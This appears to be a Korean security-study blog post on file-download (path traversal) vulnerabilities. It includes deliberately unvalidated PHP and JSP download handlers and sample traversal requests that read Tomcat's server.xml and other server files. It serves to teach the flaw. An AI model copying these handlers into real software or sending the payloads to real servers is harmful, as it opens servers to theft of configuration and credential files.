์ƒˆ์†Œ์‹

์ธ๊ธฐ ๊ฒ€์ƒ‰์–ด

๐Ÿ“  Secure

ํŒŒ์ผ ์—…๋กœ๋“œ ์ทจ์•ฝ์ 

  • -
๋ฐ˜์‘ํ˜•
ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ์ทจ์•ฝ์  ์ด๋ž€ ?

์ •์ƒ์ ์ธ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๊ฐ€ ์•„๋‹Œ ๋น„์ •์ƒ์ ์ธ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ ๊ณต๊ฒฉ

 

์ •์ƒ์ ์ธ ํŒŒ์ผ vs ๋น„ ์ •์ƒ์ ์ธ ํŒŒ์ผ

[๊ฒฝ๋กœ] ์ฐจ์ด๊ฐ€ ์žˆ๋‹ค.

์ •์ƒ์ ์ธ ๊ฒฝ๋กœ์—์„œ ๋‹ค์šด๋กœ๋“œ๊ฐ€ ์•„๋‹Œ ์ง€์ •๋œ ๊ฒฝ๋กœ๋ฅผ ๋ฒ—์–ด๋‚˜ ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์ด๋™ํ•˜์—ฌ

์„œ๋ฒ„์˜ ๋™์ž‘, ์ฝ”๋“œ, ์„ค์ • ๋“ฑ์˜ ํŒŒ์ผ์„ ์กฐํšŒํ•˜๊ฑฐ๋‚˜ ๋‹ค์šด ๋ฐ›๋Š” ํ–‰์œ„

 

C:\Users\kitri\Downloads

ํ˜„์žฌ ๊ฒฝ๋กœ๋ฅผ ๊ธฐ์ค€์œผ๋กœ C๋“œ๋ผ์ด๋ธŒ์˜ Users ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ๊ฐ€๊ณ ์‹ถ๋‹ค

cd ../../

cd C:\Users

 

ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ์ทจ์•ฝ์ ์„ ํ•  ๋•Œ ๊ฒฝ๋กœ๋ฅผ ์ด๋™ํ•˜๋Š” ๋ฐฉ๋ฒ•

1. ๊ฒฝ๋กœ ์ด๋™ ๋ฌธ์ž ์‚ฝ์ž… (../)

2. ๊ฒฝ๋กœ ๋ฌธ์ž ์‚ฌ์šฉ ( ์ ˆ๋Œ€ ๊ฒฝ๋กœ )

 

htdocs ( ํ™ˆ ๋””๋ ‰ํ„ฐ๋ฆฌ )

- CSS

- JS

-Upload

-Download

 

ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ

download.jsp

downloadAction.jsp

downAction.jsp

 

sadfsdafl.co.kr/download.jsp?file=ํŒŒ์ผ๋ช…

ํŒŒ์ผ๋ช…์˜ ๊ฒฝ์šฐ ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์ด๋‹ค

๋Œ€๋ถ€๋ถ„์˜ ์ทจ์•ฝ์ ์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์„ ๋ฐ›๋Š”๋ฐ์„œ ์ถœ๋ฐœํ•œ๋‹ค.

์™œ? ๋™์  ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด ์–ด์ฉ” ์ˆ˜ ์—†์ด ์ž…๋ ฅ ๊ฐ’์„ ๋ฐ›์•„์•ผ ํ•œ๋‹ค

์›น ์‚ฌ์ดํŠธ ๊ธฐ๋Šฅ์—๋Š” ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ์ด 1๊ฐœ ์ด์ƒ ๋˜์–ด ์žˆ์œผ๋ฉฐ

์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์„ ๋ฐ›์œผ๋ฉด ์ง€์ •๋œ ๊ฒฝ๋กœ์—์„œ ์ง€์ •๋œ ํŒŒ์ผ์„ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ค€๋‹ค

 

ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ

๋ฐ˜๋“œ์‹œ ํ•„์š”ํ•œ ์ค€๋น„๋ฌผ

์›น ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ๋ฐ˜๋“œ์‹œ ์กด์žฌํ•ด์•ผํ•˜๋ฉฐ, ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ์„ ํ•˜๋Š” ํŽ˜์ด์ง€ ํ•„์š”

์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ง€์›๋˜๋Š” ํŒŒ์ผ ํƒ€์ž…์ด ๋Š˜์–ด๋‚จ์— ๋”ฐ๋ผ URL ์ ‘๊ทผ ์‹œ ํ•„์š”

ํŒŒ์ผ ์—…๋กœ๋“œ๋ฅผ ํ•˜๋ฉด -> ์—…๋กœ๋“œ ํด๋”๊ฐ€ ์•„๋‹ ๊ฒฝ์šฐ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ์„ ์ฐพ์•„ ๋ณผ ํ•„์š”๊ฐ€ ์žˆ๋‹ค 

๋ฆฌ๋ˆ…์Šค๊ฐ€ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ์ทจ์•ฝ์ ์— ์กฐ๊ธˆ ๋” ์ทจ์•ฝํ•˜๋‹ค

์œˆ๋„์šฐ๋Š” ํŒŒํ‹ฐ์…˜์ด ๋‹ค ๋‚˜๋‰˜์–ด์ ธ ์žˆ์œผ๋ฏ€๋กœ ๋‹ค๋ฅธ ๋“œ๋ผ์ด๋ธŒ๋กœ ๋ณ€๊ฒฝ ๋ถˆ๊ฐ€ํ•จ

 

ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ๋กœ์ง

../../../๋ฅผ ๋งŽ์ด ํ•˜๋ฉด ๋ฌด์กฐ๊ฑด ์ตœ์ƒ์œ„ ํด๋”์ธ C์— ๋„๋‹ฌํ•˜๊ฒŒ ๋˜๋ฏ€๋กœ ๊ทธ ๋’ค์— ๋‚ด๊ฐ€ ์›ํ•˜๋Š” ํด๋” ์“ฐ๋ฉด๋จ

C๋“œ๋ผ์ด๋ธŒ download_vuln ํด๋”์—์„œ password.txt ํŒŒ์ผ ์ฝ๊ธฐ

D๋“œ๋ผ์ด๋ธŒ download_vuln ํด๋”์—์„œ password.txt ํŒŒ์ผ ์ฝ๊ธฐ

- ์ง์ ‘์ ์ธ ๋ฐฉ์‹

www.kitri.re.kr/kitri/file/download.web?dir=/uploadfile/&filename=kitri_logo_Ko_En.jpg&siteDib=kitri

 

- ๊ฐ„์ ‘์ ์ธ ๋ฐฉ์‹

๋ฐใ…ฃํ„ฐ ๋ฒ ์ด์Šค๋ฅผ ํ™œ์šฉํ•˜์—ฌ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

www.kitri.re.kr/dowload.web?idx=1  

# index.php
<?php
    header("Content-type : text/html; charset=UTF-8");
?>
<li>์ฒจ๋ถ€ํŒŒ์ผ : <a href="./download.php?filename=test.jpg">[๋‹ค์šด๋กœ๋“œ]</a>
# download.php
<?php
    $filename = $_GET["filename"];
    $filepath = "upload/{$filename}";

    header("Content-Type: application/octet.stream");
    header("Conetnt-Dispositionl: attachement; filename={$filename}");

    readfile($filepath);
?>

๋‹ค์šด๋กœ๋“œ ํ•œ ์‚ฌ์ง„ ์˜คํ”ˆ ํ•˜๋ฉด ๋œจ๋Š” ์‚ฌ์ง„

 

 

Original Filename & Real Filename
<%@ page contentType="text/html; charset=UTF-8" %>
<li>๋‹ค์šด๋กœ๋“œ1 : <a href="download1.jsp?org_filename=test.jpg&real_filename=abcd.jpg">[๋‹ค์šด๋กœ๋“œ1]</a></li>
<li>๋‹ค์šด๋กœ๋“œ2 : <a href="download2.jsp?path=image&org_filename=test.jpg&real_filename=abcd.jpg">[๋‹ค์šด๋กœ๋“œ2]</a></li>
<li>๋‹ค์šด๋กœ๋“œ3 : <a href="download3.jsp?path=C:/apache-tomcat-8.5.81/webapps/ROOT/upload/image/&org_filename=test.jpg&real_filename=abcd.jpg">[๋‹ค์šด๋กœ๋“œ3]</a></li>
# download.php
<?php
    $org_filename = $_GET["org_filename"];
    $real_filename = $_GET["real_filename"];
    $filepath = "upload/{$org_filename}";

    header("Content-Type: application/octet.stream");
    header("Conetnt-Dispositionl: attachment; filename={$real_filename}");

    readfile($filepath);
?>
# jsp original filename , real filename
# original filename = ๋‹ค์šด ๋ฐ›์„ ๋•Œ ๋œจ๋Š” ํŒŒ์ผ ์ด๋ฆ„
# real filename = ์›๋ž˜ ์›๋ณธ ํŒŒ์ผ ์ด๋ฆ„

<%@ page contentType="text/html; charset=UTF-8" %>
<li>๋‹ค์šด๋กœ๋“œ1 : <a href="download1.jsp?org_filename=test.jpg&real_filename=abcd.jpg">[๋‹ค์šด๋กœ๋“œ1]</a></li>
<li>๋‹ค์šด๋กœ๋“œ2 : <a href="download2.jsp?path=image&org_filename=test.jpg&real_filename=abcd.jpg">[๋‹ค์šด๋กœ๋“œ2]</a></li>
<li>๋‹ค์šด๋กœ๋“œ3 : <a href="download3.jsp?path=C:\apache-tomcat-8.5.81\webapps\ROOT\upload\image&org_filename=test.jpg&real_filename=abcd.jpg">[๋‹ค์šด๋กœ๋“œ3]</a></li>

 

# original filename๊ณผ real filename์œผ๋กœ
# download1.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
    FileInputStream fis = null;			// byte ํ˜•ํƒœ๋กœ ํŒŒ์ผ ๋ณต์‚ฌ(input) & ๋ถ™์—ฌ๋„ฃ๊ธฐ(output)
    BufferedInputStream bis = null;		// buffer์— ์ €์žฅ์‹œ์ผœ์„œ 1 byte ์”ฉ ์‚ฌ์šฉ ๊ฐ€์ ธ์˜ค๊ธฐ
    BufferedOutputStream bos = null;	// buffer์— ์ €์žฅ์‹œ์ผœ์„œ 1 byte ์”ฉ ์‚ฌ์šฉ ๋ณด๋‚ด๊ธฐ
    
    String path ="C:\\apache-tomcat-8.5.81\\webapps\\ROOT\\upload\\image\\";
    String org_filename = request.getParameter("org_filename");
    String real_filename = request.getParameter("real_filename");
    if(org_filename == null || real_filename == null){
        out.println("<script>alert('ํŒŒ์ผ๋ช…์ด ์ž…๋ ฅ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.');histroy.back(-1);</script>");
        return;
    }

    try{
        File fd = new File(path + real_filename);	// real_filename๊ณผ ์ฃผ์†Œ๋ฅผ fd์— ์ €์žฅ
        if(!fd.exists()){
            out.println("<script>alert('ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.');history.back(-1);</script>");
        }
        response.setHeader("Content-Type", "application/octect-stream");
        response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);

        fis = new FileInputStream(fd);
        bis = new BufferedInputStream(fis);
        bos = new BufferedOutputStream(response.getOutputStream());

        byte[] buffer = new byte[1024];
        int i = 0;

        while((i=(bis.read(buffer))) != -1){	// buffer๊ฐ€ ํ…… ๋นŒ๋•Œ๊นŒ์ง€ ๋ฐ˜๋ณต
            bos.write(buffer,0,i);
        }
        bos.flush();

    }finally{
        if(fis != null) fis.close();
        if(bis != null) bis.close();
        if(bos != null) bos.close();
    }
%>
# file path๊ฐ€ ์ผ๋ถ€๋งŒ ๋…ธ์ถœ
# download2.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
    FileInputStream fis = null;
    BufferedInputStream bis = null;
    BufferedOutputStream bos = null;

    String path_temp = request.getParameter("path");
    String org_filename = request.getParameter("org_filename");
    String real_filename = request.getParameter("real_filename");
    String path ="C:\\apache-tomcat-8.5.81\\webapps\\ROOT\\upload\\" + path_temp + "\\";

    if(org_filename == null || real_filename == null){
        out.println("<script>alert('ํŒŒ์ผ๋ช…์ด ์ž…๋ ฅ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.');histroy.back(-1);</script>");
        return;
    }

    try{
        File fd = new File(path + real_filename);
        if(!fd.exists()){
            out.println("<script>alert('ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.');history.back(-1);</script>");
        }
        response.setHeader("Content-Type", "application/octect-stream");
        response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);

        fis = new FileInputStream(fd);
        bis = new BufferedInputStream(fis);
        bos = new BufferedOutputStream(response.getOutputStream());

        byte[] buffer = new byte[1024];
        int i = 0;

        while((i=(bis.read(buffer))) != -1){
            bos.write(buffer,0,i);
        }
        bos.flush();

    }finally{
        if(fis != null) fis.close();
        if(bis != null) bis.close();
        if(bos != null) bos.close();
    }
%>
# ๋ชจ๋“  file path๊ฐ€ ๋…ธ์ถœ
# download3.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
    FileInputStream fis = null;
    BufferedInputStream bis = null;
    BufferedOutputStream bos = null;

    String path = request.getParameter("path");
    String org_filename = request.getParameter("org_filename");
    String real_filename = request.getParameter("real_filename");

    if(org_filename == null || real_filename == null){
        out.println("<script>alert('ํŒŒ์ผ๋ช…์ด ์ž…๋ ฅ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.');histroy.back(-1);</script>");
        return;
    }

    try{
        File fd = new File(path + real_filename);
        if(!fd.exists()){
            out.println("<script>alert('ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.');history.back(-1);</script>");
        }
        response.setHeader("Content-Type", "application/octect-stream");
        response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);

        fis = new FileInputStream(fd);
        bis = new BufferedInputStream(fis);
        bos = new BufferedOutputStream(response.getOutputStream());

        byte[] buffer = new byte[1024];
        int i = 0;

        while((i=(bis.read(buffer))) != -1){
            bos.write(buffer,0,i);
        }
        bos.flush();

    }finally{
        if(fis != null) fis.close();
        if(bis != null) bis.close();
        if(bos != null) bos.close();
    }
%>

1. ํŒŒ์ผ ์ด๋ฆ„๋งŒ ๋…ธ์ถœ 2. ํŒŒ์ผ ๊ฒฝ๋กœ ์ผ๋ถ€ ๋…ธ์ถœ 3. ํŒŒ์ผ ๊ฒฝ๋กœ ๋…ธ์ถœ
burp์—์„œ path์™€ real_filename ๋ณ€๊ฒฝ์„ ํ†ตํ•ด notepad.exe ํŒŒ์ผ ํƒˆ์ทจ
ํƒˆ์ทจ ์„ฑ๊ณต

Original Filename : ๋‚ด๊ฐ€ ๋‹ค์šด ๋ฐ›๊ฑฐ๋‚˜ ์—…๋กœ๋“œ ํ•  ๋•Œ ํŒŒ์ผ ์ด๋ฆ„

Real Filename : ์›น ์„œ๋ฒ„์— ์ €์žฅ๋˜์–ด ์žˆ๋Š” ํŒŒ์ผ ์ด๋ฆ„

 

๊ณต๊ฒฉ ๋ฐฉ๋ฒ•

CASE 1 ์‚ฌ์šฉ์ž๋กœ ์ž…๋ ฅ๋ฐ›๋Š”๊ฒƒ์ด ํŒŒ์ผ๋ช…๋งŒ ์กด์žฌํ•  ๋•Œ

์ •์ƒ ์š”์ฒญ : /download1.jsp?filename=abcd.jpg

๊ณต๊ฒฉ ์š”์ฒญ : /download1.jsp?filename=../../../../conf/server.xml

 

CASE 2 ์‚ฌ์šฉ์ž๋กœ ์ž…๋ ฅ ๋ฐ›๋Š” ๊ฒƒ์ด ์ผ๋ถ€ ๊ฒฝ๋กœ์™€ ํŒŒ์ผ๋ช…๋งŒ ์กด์žฌํ•  ๋•Œ

์ •์ƒ ์š”์ฒญ : /download2.jsp?path=image&filename=abcd.jpg

๊ณต๊ฒฉ ์š”์ฒญ1 : /download2.jsp?path=../../../conf&filename=server.xml

๊ณต๊ฒฉ ์š”์ฒญ2 : /download2.jsp?path=../../../conf/server.xml&filename=

๊ณต๊ฒฉ ์š”์ฒญ3 : /download2.jsp?path=image&filename=../../../../conf/server.xml

 

CASE 3 ์‚ฌ์šฉ์ž๋กœ ์ž…๋ ฅ๋ฐ›๋Š” ๊ฒƒ์ด ์ ˆ๋Œ€ ๊ฒฝ๋กœ์ผ ๋•Œ

์ •์ƒ ์š”์ฒญ : /download3.jsp?path=C:/apache-tomcat-8.5.81/webapps/ROOT/upload/image/&org_filename=test.jpg&real_filename=abcd.jpg

๊ณต๊ฒฉ ์š”์ฒญ1 : /download3.jsp?path=C:/apache-tomcat-8.5.81/conf/&org_filename=test.xml&real_filename=server.xml

linux

cd /etc/networks (o)

cd \etc\networks (x)

 

windows

cd C:\windows\system32 (o)

cd C:/windows/system32 (o)

๋ฐ˜์‘ํ˜•
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.